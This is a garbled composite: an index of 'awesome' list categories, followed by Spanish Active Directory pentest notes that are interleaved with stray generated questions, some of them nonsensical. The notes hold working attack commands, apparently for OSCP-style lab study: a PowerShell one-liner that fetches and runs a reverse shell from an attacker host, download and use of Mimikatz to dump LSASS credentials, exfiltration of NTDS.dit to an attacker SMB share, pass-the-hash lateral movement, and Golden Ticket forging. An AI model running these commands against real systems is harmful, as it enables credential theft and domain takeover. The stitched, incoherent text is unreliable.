Catalogo awesome (sindresorhus) / Back-End Development: Fiber — Web framework built on top of Fasthttp, the fastest HTTP engine for Go. Kustomize — Kubernetes native declarative configuration management tool. OpenTofu — Open-source infrastructure as code tool. Reflex — Python web framework for building both your frontend and backend with no JavaScript.


awesome: awesome (sindresorhus) / Computer Science

Catalogo awesome (sindresorhus) / Computer Science: University Courses. Data Science. Tutorials. Machine Learning. Tutorials. ML with Ruby — Learning, implementing, and applying Machine Learning using Ruby. Core ML Models — Models for Apple's machine learning framework. H2O — Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. Software Engineering for Machine Learning — From experiment to production-level machine learning. AI in Finance — Solving problems in finance with machine learning. JAX — Automatic differentiation and XLA compilation brought together for high-performance machine learning research. XAI — Providing insight, explanations, and interpretability to machine learning methods. Speech and Natural Language Processing. Spanish. NLP with Ruby. Question Answering — The science of asking and answering in natural language with a machine. Natural Language Generation — Generation of text used in data-to-text, conversational agents, and narrative generation applications. Linguistics. Cryptography.


Catalogo awesome (sindresorhus) / Computer Science: Papers — Theory basics for using cryptography by non-cryptographers. Computer Vision. Deep Learning — Neural networks. TensorFlow — Library for machine intelligence. TensorFlow.js — WebGL-accelerated machine learning JavaScript library for training and deploying models. TensorFlow Lite — Framework that optimizes TensorFlow models for on-device machine learning. Papers — The most cited deep learning papers. Education. Deep Vision. Open Source Society University. Functional Programming. Empirical Software Engineering — Evidence-based research on software systems. Static Analysis & Code Quality. Information Retrieval — Learn to develop your own search engine. Quantum Computing — Computing that utilizes quantum mechanics and qubits on quantum computers. Theoretical Computer Science — The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique. Conversational AI — Build awesome chatbots and digital assistants.


Catalogo awesome (sindresorhus) / Computer Science: Generative AI — Automatically generates a wide range of unique content in text, image, and audio format. Position-Based Quantum Cryptography — Theory on quantum cryptography that utilizes special relativistic constraints to achieve quantum-security under certain conditions.


awesome: awesome (sindresorhus) / Big Data

Catalogo awesome (sindresorhus) / Big Data: Big Data. Public Datasets. Hadoop — Framework for distributed storage and processing of very large data sets. Data Engineering. Streaming. Apache Spark — Unified engine for large-scale data processing. Qlik — Business intelligence platform for data visualization, analytics, and reporting apps. Splunk — Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real time. Network Analysis.


awesome: awesome (sindresorhus) / Theory

Catalogo awesome (sindresorhus) / Theory: Papers We Love. Talks. Algorithms. Education — Learning and practicing. Algorithm Visualizations. Artificial Intelligence. Search Engine Optimization. Competitive Programming. Math. Recursion Schemes — Traversing nested data structures. Audit Algorithms — Algorithmic audits of algorithms. AGI & CoCoSci — The reciprocation of Artificial General Intelligence (AGI) and Computational Cognitive Sciences (CoCoSci). Complex Systems — The scientific field studying systems with multiple interacting parts and emergent properties. VLM Architectures — Vision Language Model architectures.


Catalogo awesome (sindresorhus) / Books: Free Programming Books. Go Books. R Books. Mind Expanding Books. Book Authoring. Elixir Books.


awesome: awesome (sindresorhus) / Editors

Catalogo awesome (sindresorhus) / Editors: Sublime Text. Vim. Neovim — Vim-fork focused on extensibility and usability. Emacs. Visual Studio Code — Cross-platform open-source text editor.


awesome: awesome (sindresorhus) / Gaming

Catalogo awesome (sindresorhus) / Gaming: Game Development. Game Talks. Godot — Game engine. Open Source Games. Unity — Game engine. Chess. LÖVE — Game engine. PICO-8 — Fantasy console. Game Boy Development. Construct 2 — Game engine. Gideros — Game engine. Minecraft — Sandbox video game. ComputerCraft — Minecraft mod that adds programmable computers. Game Datasets — Materials and datasets for Artificial Intelligence in games. Haxe Game Development — A high-level strongly typed programming language used to produce cross-platform native code. libGDX — Java game framework. PlayCanvas — Game engine. Game Remakes — Actively maintained open-source game remakes. Flame — Game engine for Flutter. Discord Communities — Chat with friends and communities. CHIP-8 — Virtual computer game machine from the 70s. Games of Coding — Learn a programming language by making games. Esports — Video games played as a sport. Learn Gamedev — The craft of video game creation. Game Engine Development — Building software to speed up game creation. GameMaker — Game engine.


Catalogo awesome (sindresorhus) / Gaming: Game Production — Leading the process of designing, developing, testing and distributing a video game from concept to release. Babylon.js — Game engine for cross-platform web and native game development. Roblox — Immersive platform for hosting millions of diverse experiences.


awesome: awesome (sindresorhus) / Development Environment

Catalogo awesome (sindresorhus) / Development Environment: Quick Look Plugins — For macOS. Dev Env. Dotfiles. Shell. Fish — User-friendly shell. Command-Line Apps. ZSH Plugins. GitHub — Hosting service for Git repositories. Browser Extensions. Cheat Sheet. Pinned Gists — Dynamic pinned gists for your GitHub profile. Git Cheat Sheet & Git Flow. Git Tips. Git Add-ons — Enhance the CLI [git]. Git Hooks — Scripts for automating tasks during workflows [git]. SSH. FOSS for Developers. Hyper — Cross-platform terminal app built on web technologies. Terminals Are Sexy. GitHub Actions — Create tasks to automate your workflow and share them with others on GitHub. WezTerm — Powerful cross-platform terminal emulator.


awesome: awesome (sindresorhus) / Entertainment

Catalogo awesome (sindresorhus) / Entertainment: Science Fiction — Scifi. Fantasy. Podcasts. Email Newsletters. IT Quotes.


awesome: awesome (sindresorhus) / Databases

Catalogo awesome (sindresorhus) / Databases: Database. MySQL. SQLAlchemy. InfluxDB. Neo4j. MongoDB — NoSQL database. RethinkDB. TinkerPop — Graph computing framework. PostgreSQL — Object-relational database. CouchDB — Document-oriented NoSQL database. HBase — Distributed, scalable, big data store. NoSQL Guides — Help on using non-relational, distributed, open-source, and horizontally scalable databases. Database Tools — Everything that makes working with databases easier. TypeDB — Logical database to organize large and complex networks of data as one body of knowledge. Cassandra — Open-source, distributed, wide column store, NoSQL database management system. Supabase — An open-source alternative to Firebase. PocketBase — An open-source, Go-based backend in one file. Neon — An open-source alternative to AWS Aurora.


Catalogo awesome (sindresorhus) / Media: Fonts. Codeface — Text editor fonts. Stock Resources. GIF — Image format known for animated images. Music. Open Source Documents. Audio Visualization. Broadcasting. Pixel Art — Pixel-level digital art. FFmpeg — Cross-platform solution to record, convert and stream audio and video. Icons — Downloadable SVG/PNG/font icon projects. Audiovisual — Lighting, audio and video in professional environments. VLC — Cross-platform media player software and streaming server. Audio Over IP — Reliably transmit uncompressed, low-latency audio over an IP (layer 3) network.


Catalogo awesome (sindresorhus) / Learn: CLI Workshoppers — Interactive tutorials. Learn to Program. Speaking. Tech Videos. Computer History. Programming for Kids. STEAM — Supplements for specific science, technology, engineering, arts, and math (STEAM) courses across all grade levels. Educational Games — Learn while playing. JavaScript Learning. CSS Learning — Mainly about CSS – the language and the modules. Product Management — Learn how to be a better product manager. Roadmaps — Gives you a clear route to improve your knowledge and skills. YouTubers — Watch video tutorials from YouTubers that teach you about technology. Hackathon — Running fun and productive hackathons. Certificates — Free computer science certifications to showcase your knowledge.


awesome: awesome (sindresorhus) / Security

Catalogo awesome (sindresorhus) / Security: Application Security. Security. CTF — Capture The Flag. Cyber Security University — Free educational resources that focus on learning by doing. Malware Analysis. Android Security. Hacking. Hacking Spots. Honeypots — Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. Incident Response. Vehicle Security and Car Hacking. Web Security — Security of web apps & services. Lockpicking — The art of unlocking a lock by manipulating its components without the key. Cybersecurity Blue Team — Groups of individuals who identify security flaws in information technology systems. Fuzzing — Automated software testing technique that involves feeding pseudo-randomly generated input data. Embedded and IoT Security. GDPR — Regulation on data protection and privacy for all individuals within EU. DevSecOps — Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps). Executable Packing — Packing and unpacking executable formats.


Catalogo awesome (sindresorhus) / Security: Malware Persistence — Techniques that adversaries use to keep access to systems across restarts. EVM Security — Understanding the Ethereum Virtual Machine security ecosystem. Password Cracking — The process of recovering passwords from data that has been stored in or transmitted by a system in scrambled form. Security Card Games — Train your skills and discuss various security topics. Suricata — Intrusion detection/prevention system and network security monitoring engine. Prompt Injection — A type of vulnerability that specifically targets machine learning models. Detection Engineering — Design, build, and operate detective cybersecurity controls. Annual Security Reports — Exploring cybersecurity trends, insights, and challenges. CI/CD Attacks — Offensive research of systems and processes related to developing and deploying code. OpenID Connect — Identity standard and authentication protocol built on OAuth 2.0 for user identity assertion.


awesome: awesome (sindresorhus) / Content Management Systems

Catalogo awesome (sindresorhus) / Content Management Systems: Umbraco. Refinery CMS — Ruby on Rails CMS. Wagtail — Django CMS focused on flexibility and user experience. Textpattern — Lightweight PHP-based CMS. Drupal — Extensible PHP-based CMS. Craft CMS — Content-first CMS. Sitecore — NET digital marketing platform that combines CMS with tools for managing multiple websites. Silverstripe CMS — PHP MVC framework that serves as a classic or headless CMS. Directus — A real-time API and app dashboard for managing SQL database content. Plone — Open source Python CMS. Payload — Next.js native and open source headless CMS.


awesome: awesome (sindresorhus) / Hardware

Catalogo awesome (sindresorhus) / Hardware: Robotics. Internet of Things. Electronics — For electronic engineers and hobbyists. Bluetooth Beacons. Electric Guitar Specifications — Checklist for building your own electric guitar. Plotters — Computer-controlled drawing machines and other visual art robots. Robotic Tooling — Free and open tools for professional robotic development. LIDAR — Sensor for measuring distances by illuminating the target with laser light. Open Hardware — Open-source hardware projects. ADS-B — Technology broadcasting aircraft's identity, position, and data periodically. Flying FPV — Open hardware and software related to drones / UAVs.


awesome: awesome (sindresorhus) / Business

Catalogo awesome (sindresorhus) / Business: Open Companies. Places to Post Your Startup. OKR Methodology — Goal setting & communication best practices. Indie — Independent developer businesses. Tools of the Trade — Tools used by companies on Hacker News. Clean Tech — Fighting climate change with technology. Wardley Maps — Provides high situational awareness to help improve strategic planning and decision making. Social Enterprise — Building an organization primarily focused on social impact that is at least partially self-funded. Engineering Team Management — How to transition from software development to engineering management. Developer-First Products — Products that target developers as the user. Billing — Payments, invoicing, pricing, accounting, marketplace, fraud, and business intelligence. Engineering Strategy — How to design and execute engineering strategies for tech leadership.


Catalogo awesome (sindresorhus) / Work: Slack — Team collaboration. Communities. Remote Jobs. Productivity. Niche Job Boards. Programming Interviews. Code Review — Reviewing code. Creative Technology — Businesses & groups that specialize in combining computing, design, art, and user experience.


awesome: awesome (sindresorhus) / Networking

Catalogo awesome (sindresorhus) / Networking: Software-Defined Networking. PCAPTools. Real-Time Communications — Network protocols for near simultaneous exchange of media and data. SNMP — A protocol for collecting, modifying, and organizing information about managed devices on IP networks. Scapy — Python-based interactive packet manipulation. Cilium — Provides networking and security capabilities for containerized apps, microservices, and virtual machines.


awesome: awesome (sindresorhus) / Decentralized Systems

Catalogo awesome (sindresorhus) / Decentralized Systems: Bitcoin — Services and tools for Bitcoin software developers. Ripple — Open source distributed settlement network. Non-Financial Blockchain — Applications of Blockchain beyond finance. Mastodon — Open source decentralized microblogging network. Ethereum — Distributed computing platform for smart contract development. Blockchain AI — AI and machine-learning projects built on Blockchain. EOSIO — A decentralized operating system supporting industrial-scale apps. Corda — Open source Blockchain platform designed for business. Waves — Open source Blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. Substrate — Framework for writing scalable, upgradeable blockchains in Rust. Golem — Open source peer-to-peer marketplace for computing resources. Stacks — A smart contract platform secured by Bitcoin. Algorand — An open-source, proof of stake Blockchain and smart contract computing platform. ZeroNet — A decentralized web-like network of peer-to-peer users.


Catalogo awesome (sindresorhus) / Decentralized Systems: Cosmos SDK — Modular framework for building app-specific blockchains in Go. Tor — A free overlay network for enabling anonymous communication. ATProto — Open, decentralized network for building social apps.


awesome: awesome (sindresorhus) / Health and Social Science

Catalogo awesome (sindresorhus) / Health and Social Science: Biomedical Information Extraction — How to extract information from unstructured biomedical data and text. Computational Neuroscience — A multidisciplinary science which uses computational approaches to study the nervous system. Diversity — Creating a more inclusive and diverse tech community. Digital History — Computer-aided scientific investigation of history. Empathy in Engineering — Building and promoting more compassionate engineering cultures. Healthcare — Open source healthcare software for facilities, providers, developers, policy experts, and researchers. Mental Health — Awareness and self-care in the software industry. Neuroscience — Study of the nervous system and brain. Digital Humanities — Software for humanities scholars using quantitative or computational methods. Lucid Dreams — A dream where one becomes aware they are dreaming. Neuroimaging — Software for analyzing brain data from living subjects. Transgender — Someone whose gender identity differs from their assigned birth sex.


awesome: awesome (sindresorhus) / Events

Catalogo awesome (sindresorhus) / Events: Creative Tech Events — Events around the globe for creative coding, tech, design, music, arts and cool stuff. Events in Italy — Tech-related events in Italy. Events in the Netherlands — Tech-related events in the Netherlands.


awesome: awesome (sindresorhus) / Testing

Catalogo awesome (sindresorhus) / Testing: Testing — Software testing. Visual Regression Testing — Ensures changes did not break the functionality or style. Selenium — Open-source browser automation framework and ecosystem. Appium — Test automation tool for apps. TAP — Test Anything Protocol. JMeter — Load testing and performance measurement tool. k6 — Open-source, developer-centric performance monitoring and load testing solution. Playwright — Node.js library to automate Chromium, Firefox and WebKit with a single API. Quality Assurance Roadmap — How to start & build a career in software testing. Gatling — Open-source load and performance testing framework based on Scala, Akka, and Netty. CodeRabbit — AI-powered code review platform.


awesome: awesome (sindresorhus) / Miscellaneous

Catalogo awesome (sindresorhus) / Miscellaneous: Scientific Writing — Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks. JSON — Text based data interchange format. GeoJSON. CSV — A text file format that stores tabular data and uses a comma to separate values. Discounts for Student Developers. Radio. Awesome — Recursion illustrated. Analytics. REST. Continuous Integration and Continuous Delivery. Services Engineering. Free for Developers. Sketch — Design app for macOS. Boilerplate Projects. Readme. GitHub Wiki — Comprehensive documentation on GitHub beyond README. Design and Development Guides. Software Engineering Blogs. Self Hosted. FOSS Production Apps. Gulp — Task runner. AMA — Ask Me Anything. Answers. Open Source Photography. OpenGL — Cross-platform API for rendering 2D and 3D graphics. GraphQL. Urban & Regional Planning — Concerning the built environment and communities. Transit — Data standards, APIs, apps, tools, datasets, and research around open source technology of public transit. Research Tools. Data Visualization. Microservices.


Catalogo awesome (sindresorhus) / Miscellaneous: Unicode — Standards, quirks, packages and resources for Unicode. Code Points. Beginner-Friendly Projects. Katas. Tools for Activism. Citizen Science — For community-based and non-institutional scientists. MQTT — "Internet of Things" connectivity protocol. For Girls. Vorpal — Node.js CLI framework. Vulkan — Low-overhead, cross-platform 3D graphics and compute API. LaTeX — Typesetting language. Economics — An economist's starter kit. Funny Markov Chains. Bioinformatics. Cheminformatics — Informatics techniques applied to problems in chemistry. Colorful — Choose your next color scheme. Steam — Digital distribution platform. Bots — Building bots. Site Reliability Engineering. DTrace — Dynamic tracing framework. Userscripts — Enhance your browsing experience. Pokémon — Resources for Pokémon and Pokémon GO. ChatOps — Managing technical and business operations through a chat. Falsehood — Falsehoods programmers believe in.


Catalogo awesome (sindresorhus) / Miscellaneous: Domain-Driven Design — Software development approach for complex needs by connecting the implementation to an evolving model. Quantified Self — Self-tracking through technology. Web Design — For digital designers. Creative Coding — Programming something expressive instead of something functional. No-Login Web Apps — Web apps that work without login. Free Software — Free as in freedom. Framer — Prototyping interactive UI designs. Markdown — Markup language. Dev Fun — Funny developer projects. Magento 2 — Open Source eCommerce built with PHP. TikZ — Graph drawing packages for TeX/LaTeX/ConTeXt. Ad-Free — Alternatives without ads. Prometheus — Open-source monitoring system. Homematic — Smart home devices. Ledger — Double-entry accounting on the command-line. Web Monetization — A free open web standard service that allows you to send money directly in your browser. Uncopyright — Public domain works. Crypto Currency Tools & Algorithms — Digital currency where encryption is used to regulate the generation of units and verify transfers.


Catalogo awesome (sindresorhus) / Miscellaneous: Open Source Supporters — Companies that offer their tools and services for free to open source projects. Design Principles — Create better and more consistent designs and experiences. Theravada — Teachings from the Theravada Buddhist tradition. inspectIT — Open source Java app performance management tool. Open Source Maintainers — The experience of being an open source maintainer. Calculators — Tools for every platform. Captcha — A type of challenge–response test used in computing to determine whether or not the user is human. Jupyter — Create and share documents that contain code, equations, visualizations and narrative text. FIRST Robotics Competition — International high school robotics championship. Speakers — Conference and meetup speakers in the programming and design community. Board Games — Table-top gaming fun for all. Software Patreons — Fund individual programmers or the development of open source projects. Parasite — Parasites and host-pathogen interactions. Food — Projects on GitHub related to food.


Catalogo awesome (sindresorhus) / Miscellaneous: Bitcoin Payment Processors — Start accepting Bitcoin. Scientific Computing — Solving complex scientific problems using computers. Amazon Sellers. Agriculture — Open source technology for farming and gardening. Product Design — Design a product from the initial concept to production. Prisma — Turn your database into a GraphQL API. Software Architecture — The discipline of designing and building software. Connectivity Data and Reports — Better understand who has access to telecommunication and internet infrastructure and on what terms. Stacks — Tech stacks for building different apps and features. Cytodata — Image-based profiling of biological phenotypes for computational biologists. IRC — Open source messaging protocol. Advertising — Programmatic media and ad tech for websites. Earth — Find ways to resolve the climate crisis. Naming — Guides for naming things in computer science. Web Archiving — An effort to preserve the Web for future generations. WP-CLI — Command-line interface for WordPress.


Catalogo awesome (sindresorhus) / Miscellaneous: Credit Modeling — Methods for classifying credit applicants into risk classes. Ansible — A Python-based, open-source IT configuration management and automation platform. Biological Visualizations — Interactive visualization of biological data on the web. QR Code — A type of matrix barcode that can be used to store and share a small amount of information. Veganism — Making the plant-based lifestyle easy and accessible. Translations — The transfer of the meaning of a text from one language to another. Scriptable — An iOS app for automation in JavaScript. WebXR — Enables immersive virtual reality and augmented reality content on the web. Computational Geometry — Computational approaches for problems in geometry. OpenStreetMap — An open data mapping project utilized by many apps and devices. Computational Biology — Computational approaches applied to problems in biology. Read the Docs — Example documentation projects to inspire and help bootstrap new documentation projects.


Catalogo awesome (sindresorhus) / Miscellaneous: Quarto — Scientific and technical open-source publishing system built on Pandoc. Biological Image Analysis — Interpreting biological phenomena using images. ChatGPT — Artificial intelligence chatbot developed by OpenAI. Whisper — Open-source AI-powered speech recognition system developed by OpenAI. Stock Trading — Purchase and sale of equities of publicly traded companies to generate profits. Steam Deck — A handheld gaming computer developed by Valve. Astrophotography — Photography of astronomical objects, celestial events, or areas of the night sky. HPC — High Performance Computing. Geocaching — Outdoor treasure-hunting activity that uses GPS-enabled devices. Regex — Specialized language for matching patterns in text. Event-Driven Architecture — A software architecture approach where services collaborate by publishing and subscribing to events. Permacomputing — Resilient and regenerative computing practices inspired by permaculture.


Catalogo awesome (sindresorhus) / Miscellaneous: Standards — Proposals and standards that define and enhance software, languages, and related technologies. Claude Code — Terminal-based AI coding assistant by Anthropic. Gemini CLI — Terminal-based AI coding assistant by Google. SAP Commerce — An e-commerce platform built with Java, Spring MVC, and Angular. Tech Ethics — Mitigating and avoiding the potential negative effects of technology on society. Copilot Agents — AI pair programming assistant by GitHub that provides code suggestions and completions.


# Apuntes Active Directory Pentest

Mimikatz · Impacket · Kerberos · BloodHound · Pivoting

---

que herramienta sirve para realizar pruebas de penetración en dominios Active Directory?


con que puedo montar un ataque de pivoteo desde dentro del red?


cual es una alternativa libre a Mimikatz para extraer credenciales?


¿Con qué programa puedo hacer mapas mentales?


¿Qué herramienta sirve para organizar ideas en forma de árbol?


¿Existe una alternativa libre a los mapas mentales?


```
        ┌─────────────────────────────┐     ┌──────────────────────────────┐
        │        TU KALI/DEBIAN        │     │       VICTIMA WINDOWS         │
        │       (la atacante)          │     │     (cliente o servidor)      │
        ├─────────────────────────────┤     ├──────────────────────────────┤
        │                              │     │                               │
        │  ┌─ Impacket ─────────────┐  │     │  ┌─ Procesos a saquear ─┐    │
        │  │ secretsdump  (hashes) ├──┼─────┼──┤ LSASS (creds en RAM)  │    │
        │  │ psexec       (shell)  ├──┼─SMB─┼──┤ NTDS.dit (BD usuarios)│    │
        │  │ GetUserSPNs  (kerb)   ├──┼─────┼──┤ SAM/SYSTEM           │    │
        │  │ getTGT       (kerb)   │  │     │  └──────────────────────┘    │
        │  └────────────────────────┘  │     │                               │
        │                              │     │  ┌─ Lo que SUBES tú ────┐    │
        │  ┌─ BloodHound ───────────┐  │     │  │ mimikatz.exe         │    │
        │  │ sharphound (recolecta) ├──┼─LDAP┼──┤ winPEAS              │    │
        │  │ neo4j + GUI (visualiza)│  │     │  │ Invoke-ConPtyShell.ps1│   │
        │  └────────────────────────┘  │     │  │ Invoke-PowerShellTcp │    │
        │                              │     │  └──────────────────────┘    │
        │  ┌─ Listener / loot ──────┐  │     │                               │
        │  │ nc -lvnp 4444 (shell)  │◄─┼─TCP─┼─── reverse shell             │
        │  │ python3 -m http.server │◄─┼─HTTP┼─── descargan tus tools       │
        │  │ smbserver.py (loot)    │◄─┼─SMB─┼─── exfiltras NTDS.dit, etc.  │
        │  └────────────────────────┘  │     │                               │
        └─────────────────────────────┘     └──────────────────────────────┘
```

qué herramienta me sirve para ver la estructura de los usuarios en un dominio Windows?


con qué puedo robar contraseñas guardadas en memoria desde una máquina Windows a través del protocolo SMB?


existe alguna alternativa libre a BloodHound o Sharphound para analizar las relaciones LDAP?


**Idea clave**: tú no tienes "GUI" central. Cada herramienta es **independiente** y se comunica por **red** con la víctima. Tu Kali es un puesto de mando con muchos terminales abiertos a la vez.

---

qué programa me permite tener múltiples herramientas independientes conectadas entre sí sin una interfaz gráfica central?


con qué herramienta puedo gestionar varios terminales abiertos que se comuniquen en red para coordinar mi ataque?


### Mimikatz

**Es un .exe que se ejecuta DENTRO de la víctima Windows.** No corre en Kali. Su trabajo: leer la memoria del proceso `LSASS` (que guarda credenciales en claro/hash mientras la sesión está activa) y volcarlas.

```
   tú (Kali)                   víctima Windows
   ─────────                   ────────────────
        │
        │  1. Levantas HTTP en tu carpeta de herramientas
        │
        │             ┌────────────┐
        │  2. desde   │ PowerShell │  iwr http://kali/mimikatz.exe -o m.exe
        │  reverse    │   shell    │
        │  shell ──►  └─────┬──────┘
        │                   │
        │                   ▼
        │             ┌────────────────┐
        │             │  m.exe         │  privilege::debug
        │             │                │  sekurlsa::logonpasswords
        │  4. ves ◄───┤  vuelca creds  │  lsadump::sam
        │  hashes     │  del LSASS    │  lsadump::dcsync /user:Administrator
        │             └────────────────┘
```

que programa lee las credenciales en memoria de Windows ejecutándose desde fuera?


con que herramienta puedo volcar los hashes de autenticación de LSASS en una víctima?


como se usa mimikatz para extraer contraseñas y claves del registro mediante un shell reverse?


### Impacket

**Es una suite Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) **sin necesidad de ser Windows**. Es como tener un "Windows hablante" en tu Kali.

Los más útiles:

```
impacket-psexec        → te da shell en la víctima si tienes creds (estilo PsExec)
impacket-wmiexec       → ejecutas comandos sin tocar disco
impacket-smbexec       → otra forma de ejecución remota
impacket-secretsdump   → vuelca todo el NTDS.dit y SAM de un DC, en remoto
impacket-GetUserSPNs   → ataque KERBEROASTING (saca TGS de cuentas de servicio)
impacket-GetNPUsers    → ataque ASREPROAST (usuarios sin pre-auth Kerberos)
impacket-getTGT        → forja/pide un TGT con cred conocida
impacket-getST         → pide un service ticket
impacket-smbserver     → monta un share SMB falso (para exfiltrar a Kali)
impacket-ntlmrelayx    → relay attacks NTLM
```

que herramienta python sirve para ejecutar comandos remotos en Windows sin instalar el cliente?


con que puedo forjar un ticket Kerberos o realizar ataques de robo de credenciales en un dominio?


como montar una carpeta compartida falsa para exfiltrar datos desde una máquina Windows?


### Kerberos en 30 segundos

```
         ┌──────────┐                ┌────────────────┐
         │ Usuario  │  ¿Pwd?         │ KDC (Domain    │
         │ (cliente)│ ─────────────► │  Controller)   │
         └────┬─────┘                └────┬───────────┘
              │                           │
              │  ◄──── TGT (te identifica)│
              │                           │
              │  TGT + "quiero \\fileSrv" │
              ├──────────────────────────►│
              │                           │
              │  ◄──── TGS (para fileSrv)│
              │                           │
              │           ┌───────────┐   │
              └──────────►│ fileServer│ "este TGS prueba que soy yo"
                          └───────────┘
```

- **TGT** = "carnet maestro" del KDC. Lo guarda el cliente.
- **TGS** = "ticket de un día" para hablar con un servicio concreto.
- **Trucos**: si pillas un TGT/TGS válido lo puedes **reutilizar** (pass-the-ticket). Si pillas el hash de `krbtgt` (la cuenta que firma TODOS los TGT) puedes forjar **Golden Tickets** = ser cualquiera, para siempre.

---

con qué herramienta puedo generar un Golden Ticket?


que programa me sirve para hacer pass-the-ticket?


cual es una alternativa libre a Kerberos?


## La cadena de ataque "OSCP típica" con esto

¿Qué herramientas sirven para montar una cadena de ataque desde cero?


Con qué puedo simular un ataque tipo OSCP en mi laboratorio?


```
  ┌─────────────────────────────────────────────────────────────────┐
  │                                                                  │
  │  1) RCE inicial en una web ───────► reverse shell PowerShell    │
  │     (sqli, file upload, etc.)        en máquina USUARIO1        │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  2) WinPEAS desde tu carpeta ──► subes y ejecutas                    │
  │     enumera permisos, AlwaysInstallElevated, etc.               │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  3) Local privesc ──► SYSTEM en USUARIO1                        │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  4) Mimikatz ──► sekurlsa::logonpasswords                       │
  │     → hash NTLM de un usuario de dominio (DOMAIN\juan)          │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  5) BloodHound ──► "¿juan es admin en algún sitio?"             │
  │     "¿juan puede llegar a Domain Admin por algún camino?"       │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  6) Impacket-psexec con el hash de juan ──► shell en SERVER2    │
  │     impacket-psexec -hashes :HASH 'juan@server2.local'          │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  7) Si server2 = Domain Controller:                             │
  │     impacket-secretsdump ──► vuelcas TODA la BD del dominio     │
  │     (NTDS.dit, krbtgt, etc.)                                    │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  8) Con hash de krbtgt:                                         │
  │     impacket-ticketer ──► Golden Ticket → eres dios            │
  │                                                                  │
  └─────────────────────────────────────────────────────────────────┘
```

que herramienta puedo usar para enumerar permisos en una máquina Windows?


cual programa sirve para extraer contraseñas de la memoria en Windows?


con que me ayudo a pasar de usuario a administrador local?


### A) Levantas tu "puesto de mando" en Kali (terminales abiertos)

```
┌─ Terminal 1 (listener de shells) ─────────────────────────┐
│ stty raw -echo; (stty size; cat) | nc -lvnp 4444          │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 2 (HTTP para servir tus tools a la víctima) ────┐
│ cd tu carpeta                                     │
│ python3 -m http.server 80                                 │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 3 (SMB para que la víctima TE envíe ficheros) ──┐
│ mkdir /tmp/loot && cd /tmp/loot                           │
│ impacket-smbserver loot . -smb2support                    │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 4 (tu shell de trabajo: nxc, impacket, etc.) ───┐
│ $                                                          │
└────────────────────────────────────────────────────────────┘
```

que programa sirve para escuchar comandos en Kali Linux


con que puedo levantar un servidor SMB para recibir archivos


cual es una herramienta para servir contenido HTTP desde la terminal


### B) Recibes una reverse shell

Tienes RCE en la víctima (por ejemplo SQLi → xp_cmdshell, o file upload). Le metes:

```powershell
IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
```

Tu Terminal 1 te da una shell **interactiva** Windows.

que herramienta sirve para ejecutar comandos remotos en Windows?


con que puedo montar un reverse shell interactivo desde PowerShell?


cual es una alternativa libre a los scripts de ConPtyShell?


# Dentro de la shell, en la víctima:
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe
C:\Windows\Temp\m.exe
```

Y dentro de mimikatz:

```
privilege::debug
sekurlsa::logonpasswords
```

Te aparecen hashes NTLM, Kerberos tickets en memoria, a veces hasta contraseñas en claro (wdigest).

que herramienta puedo usar para extraer contraseñas y tickets de la memoria


cual es el comando para obtener hashes NTLM dentro del sistema Windows


como accedo a credenciales en memoria desde una consola de Linux


### D) Exfiltras un fichero grande (NTDS.dit, etc.)

Desde la víctima:

```cmd
copy C:\Windows\NTDS\ntds.dit \\TU_IP\loot\
```

Aparece en `/tmp/loot/` en tu Kali. **Esto sustituye al wget**, porque SMB cifra y atraviesa muchos firewalls.

que programa sirve para copiar archivos grandes de forma cifrada a través de la red?


con que puedo transferir un fichero grande sin pasar por el servidor local?


que alternativa al wget hay si necesito usar SMB?


### E) Lateral movement con Impacket (sin reverse shell nueva)

Una vez tienes hash de un user privilegiado:

```bash
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
```

Te da shell SYSTEM en otra máquina, **sin necesidad de meter ninguna reverse shell**. Por encima de la red, autenticado, limpio.

que herramienta sirve para mover lateralmente entre máquinas sin usar reverse shells?


con que programa puedo ejecutar comandos en otro servidor usando hashes NTLM?


cual es una alternativa libre a psexec de Impacket?


### F) Pivoting (entrar en una red interna) con ligolo-ng

```
  TU KALI                    USUARIO1                   RED INTERNA
  10.10.10.5                10.10.10.50                 192.168.5.0/24
     │                          │                            │
     │       ligolo proxy       │                            │
     │   ───── tunel ─────►     │                            │
     │                          │                            │
     │                     ligolo agent ─── puede llegar ──► 192.168.5.10 (DC)
     │                          │
     │  añades ruta:            │
     │  ip route add            │
     │   192.168.5.0/24 dev ligolo
     │
     │  ahora desde Kali:
     │  impacket-psexec admin@192.168.5.10  ◄── el tráfico va por el túnel
     ▼
```

---

que programa se usa para montar un túnel hacia una red interna


con que puedo acceder a una máquina remota sin tener acceso directo a la red


cual es la tecnica de pivoteo en penetration testing


### Qué hace

Te dibuja Active Directory **como un grafo**. Nodos = usuarios, grupos, máquinas. Aristas = relaciones (member of, admin de, puede leer LAPS, etc.). Luego le preguntas:

> "¿Cuál es el camino más corto desde **juan** hasta **Domain Admins**?"

Y te lo pinta. Te ahorra **días** de mirar listados de grupos a mano.

que herramienta me ayuda a visualizar las relaciones entre usuarios y máquinas en Active Directory?


cual es un programa para dibujar el grafo de conexiones en Active Directory de forma rápida?


```
         ┌─────────┐   MemberOf   ┌──────────────┐
         │  juan   ├─────────────►│ HelpDesk     │
         └─────────┘              └──────┬───────┘
                                          │ AdminTo
